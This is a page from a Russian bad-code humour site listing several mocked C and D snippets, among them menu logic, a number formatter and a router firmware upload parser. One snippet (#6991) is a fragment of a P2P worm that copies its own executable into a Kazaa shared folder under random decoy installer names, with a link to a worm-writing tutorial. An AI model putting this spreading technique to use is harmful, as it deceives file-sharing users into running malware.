1. Си / Говнокод #6996

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    /*****************************************************************************************************************
    *                                                     Третий уровень                                             *
    *****************************************************************************************************************/
    void  WorkAndViewLevel_3(void)
    {
     if ( MenuLevel[1] != 2 ) { MenuLevel[1] = 2 ; }
      
     switch (MenuLevel[1])
      {
       // case 0 : WorkAndViewJournal(); break;
       case 2 : WorkAndViewMonitor(); break;
       //case 3 : WorkAndViewJournal(); break;
      }
    }      
          
    /*****************************************************************************************************************
    *                                                     Второй уровень                                             *
    *****************************************************************************************************************/
    
    void  WorkAndViewLevel_2(void)
    {
     switch (MenuLevel[1])
      {                                                                           
       case 0 : RightParol=0; WorkAndViewBasic(); break;    // Если возвращаемся в основной режим то сбрасываем флаг правильно введенного пароля
       case 1 : Switch_Mem_Bank(0); break;                  // Переходим в МРВ  
       case 2 : ViewUpConstDownBuff("    МОНИТОР:    ",txtMonitor,CountTree_Monitor-1,1,1); 
                break;
       case 3 : WorkAndViewBasic(); break;
      }
    } 
    
    /*****************************************************************************************************************
    *                                                       Root                                                     *
    *****************************************************************************************************************/          
             
    void  WorkAndView(void)
    {
     Position=&MenuLevel[MenuLevel[0]];     // Определяем укактель на позицию дочерней ветви
     if (PeriodFlash>0) {PeriodFlash--;}    // Уменьшаем промежуток времени до начала мерцания надписи 
     switch (MenuLevel[0])
      {
       case 1 : ViewUpConstDownBuff("Выберите режим :",txtRoot,CoutTree_Root-1,0,1);    // Находимся в Root
                break;                          
       case 2 : WorkAndViewLevel_2();   // Находимся в ТЕСТе, МОНИТОРе, НАЛАДКЕ...  
                if (JournalPos) JournalView=JournalPos-1; else JournalView=39;  
                break;          
       case 3 : WorkAndViewLevel_3(); break;                                            // Находимся на самом верхнем уровне
      }
    }

    Описание менюшки из трех уровней. Улыбает case 3 в WorkAndView.

    MereNonsense, 19 Июня 2011

    Комментарии (10)
  2. Си / Говнокод #6991

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    randomize(); //Включаем генератор случайных чисел.
    ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
    switch (ra)
    {
    case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
    case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
    case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
    case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
    case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
    //Присоединяем к пути новое имя.
    case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
    //Я говорил про запасную переменную.
    case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
    // Мы юзаем "\\" потому что так нужно.
    case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
    case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
    case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
    case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
    }
    CopyFile(myname, KazaaFull, FALSE);
    //Ну и копируем свое тело в папку KazaaFull

    http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/

    57fecfc99e2e4e2a, 18 Июня 2011

    Комментарии (19)
  3. Си / Говнокод #6978

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    #include <cstdio>
    #include <malloc.h>
    
    int number;
        printf("Int to c_str convertation whith separator: ");
        do {
            printf("Enter a number (int): ");
        }
        while (!scanf ("%d",&number));
        bool negative = number<0;
        number=abs(number);
        char* reversed = (char*)(malloc(sizeof(char)));
        *reversed = 0;
        int divider=1;
        unsigned char i=3;
        int buf;
        int val = 0;
        int size=1;
       forever{
            buf=number%(divider*10);
            i--;
            size++;
            reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
            *(reversed+size*sizeof(*reversed)-1) = (buf-val)/divider+48;
            divider*=10;
            val=buf;
            if (!i){
                size++;
                reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
                *(reversed+size*sizeof(*reversed)-1)=32;
                i=3;
            }
            if (buf==number) {break;}
        }
        if (negative){
            size++;
            reversed = (char*)(realloc(reversed,size*sizeof(*reversed)));
            *(reversed+size*sizeof(*reversed)-1)='-';
        }
        char* output = (char*)(malloc(size*sizeof(*reversed)));
        for (i=0;i<size*sizeof(*reversed);i++){
            *(output+i) = *(reversed+size*sizeof(*reversed)-((1+i)*sizeof(*reversed)));
        }
         printf("Number as char* is: %s",output);

    Выводит число в строку, вставляя пробел после каждых 3-х цифр.

    Sacha_D, 17 Июня 2011

    Комментарии (3)
  4. Си / Говнокод #6973

    +142

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    case 43: /* + */
        sum_up += sum_up > 1 ? 0 : 1;
        return 1;
    case 45: /* - */
        sum_up -= sum_up < 1 ? 0 : 1;
        return 1;

    Если выше/ниже лимита то добавляем/отнимаем ничего.

    ЗЫ sum_up это переменная контролирующая уровень вербозности (0,1,2) специальной мониторной проги. кнопками +/- можно интерактивно контролировать. К слову, сверху это уже правленый код. Оригинальный оригинал:

    if (c == 43) { sum_up = sum_up > 1 ? sum_up : ++sum_up; return 1; }
    if (c == 45) { sum_up = sum_up < 1 ? sum_up : --sum_up; return 1; }

    Dummy00001, 16 Июня 2011

    Комментарии (41)
  5. Си / Говнокод #6935

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    // find the start and end of the upload file.
    static FILE * _uploadGet(request *wp, unsigned int *startPos, unsigned *endPos) {
       
       FILE *fp=NULL;	
    	struct stat statbuf;	
    	unsigned char c, *buf; 
    	   
    	
    	if (wp->method == M_POST)
    	{
    	   fstat(wp->post_data_fd, &statbuf);
    		lseek(wp->post_data_fd, SEEK_SET, 0);
          
    		printf("file size=%d\n",statbuf.st_size);
    		fp=fopen(wp->post_file_name,"rb");
    		if(fp==NULL) goto error;
    	}
    	else goto error;
    
       
       //printf("_uploadGet\n");
       do
    	{
    		if(feof(fp))
    		{
    			printf("Cannot find start of file\n");
    			goto error;
    		}
    		c= fgetc(fp);
    		if (c!=0xd)
    			continue;
    		c= fgetc(fp);
    		if (c!=0xa)
    			continue;
    		c= fgetc(fp);
    		if (c!=0xd)
    			continue;
    		c= fgetc(fp);
    		if (c!=0xa)
    			continue;
    		break;
    	}while(1);
    	(*startPos)=ftell(fp);
    
       if(fseek(fp,statbuf.st_size-0x200,SEEK_SET)<0) 
          goto error;
    	do
    	{
    		if(feof(fp))
    		{
    			printf("fmmgmt: Cannot find end of file\n");
    			goto error;
    		}
    		c= fgetc(fp);
    		if (c!=0xd)
    			continue;
    		c= fgetc(fp);
    		if (c!=0xa)
    			continue;
    		c= fgetc(fp);
    		if (c!='-')
    			continue;
    		c= fgetc(fp);
    		if (c!='-')
    			continue;
    		break;
    	}while(1);
    	(*endPos)=ftell(fp);
    
       return fp;
    error:
       return NULL;
    }

    Вот так вот китайцы парсят MIME при загрузке прошивки в роутер.

    SadKo, 12 Июня 2011

    Комментарии (7)
  6. Си / Говнокод #6925

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    //
    // String Lengths for various LanMan names
    //
    
    #define CNLEN       15                  // Computer name length
    #define LM20_CNLEN  15                  // LM 2.0 Computer name length
    #define DNLEN       CNLEN               // Maximum domain name length
    #define LM20_DNLEN  LM20_CNLEN          // LM 2.0 Maximum domain name length
    
    #if (CNLEN != DNLEN)
    #error CNLEN and DNLEN are not equal
    #endif

    а вдруг? определяй, да проверяй!
    виндовая имплементация lan manager

    bugmenot, 11 Июня 2011

    Комментарии (10)
  7. Си / Говнокод #6905

    +105

    1. 1
    2. 2
    3. 3
    4. 4
    if ( (value[0] - 'N') == 0 || (value[0] - 'n') == 0 )
       val = 0;
    if ( (value[0] - 'Y') == 0 || (value[0] - 'y') == 0 )
       val = 1;

    нет, просто сравнить - это слишком скучно и неоригинально.

    ЗЫ от автора http://govnokod.ru/5034

    Dummy00001, 09 Июня 2011

    Комментарии (36)
  8. Си / Говнокод #6884

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    MACROFIRE-MACRO 5.0.0
    
    [Info]
    Name = 
    Hotkey = 
    Repeat = 1
    
    [Macro]
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 83
    ButtonsPress = Circle
    Delay = 83
    ButtonsRelease = Circle
    Delay = 50
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Circle
    Delay = 83
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Down
    Delay = 50
    ButtonsPress = Right
    Delay = 83
    ButtonsRelease = Down
    ButtonsPress = Square
    Delay = 116
    ButtonsRelease = Right
    ButtonsRelease = Square
    Delay = 266
    ButtonsPress = RTrigger
    Delay = 83
    ButtonsRelease = RTrigger
    Delay = 50
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 83
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 49
    ButtonsPress = Circle
    Delay = 83
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Circle
    Delay = 50
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Circle
    Delay = 100
    ButtonsChange = Down
    Delay = 83
    ButtonsPress = Right
    Delay = 66
    ButtonsRelease = Down
    Delay = 100
    ButtonsPress = Triangle
    ButtonsRelease = Right
    Delay = 83
    ButtonsRelease = Triangle
    Delay = 917
    ButtonsPress = Down
    Delay = 200
    ButtonsPress = Circle
    Delay = 83
    ButtonsRelease = Circle
    Delay = 66
    ButtonsPress = Circle
    Delay = 66
    ButtonsRelease = Circle
    Delay = 83
    ButtonsPress = Circle
    Delay = 133
    ButtonsRelease = Circle
    Delay = 50
    ButtonsRelease = Down
    Delay = 83
    ButtonsPress = Left
    ButtonsPress = Up
    Delay = 166
    ButtonsChange = Left + Circle
    ButtonsRelease = Left
    Delay = 116
    ButtonsRelease = Circle

    Lambda-11 Challenge 6

    minlexx, 07 Июня 2011

    Комментарии (24)
  9. Си / Говнокод #6877

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    switch (options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE))
      {
      case 0:
      case PCRE_BSR_ANYCRLF:
      case PCRE_BSR_UNICODE:
      break;
      default: errorcode = ERR56; goto PCRE_EARLY_ERROR_RETURN;
      }

    Выкидываем три варианта, обрабатываем один.

    blueboar2, 06 Июня 2011

    Комментарии (21)
  10. Си / Говнокод #6863

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    auto ret;
    ulong[] generateMobs() {
    
        ushort counter = 0;
    
        for(ulong id = 0; id < NUMBER_OF_MOBS; ++id) {
    
            Mob bufferMob = get(id);
    
            if ( bufferMob.habitat == hero.hero.heroLocalityType() && ((bufferMob.rating() <= hero.hero.rating())) ) {
                suitable ~= id;
                counter++;
            }
        }
        ret = suitable;
    
        suitable.length = 0;   /// Im
        suitable = null;        /// FUCKIN'
        delete suitable;      /// DESTROY YOU!!!
    
        return ret;
    }

    Вообще это язык Ди(D(digitalmars.com <-- разрабы языка). Зае... Достала всякая НЕ статичная хрень)
    Вообще в Ди есть гарбадж коллектор...

    Hackeridze, 05 Июня 2011

    Комментарии (48)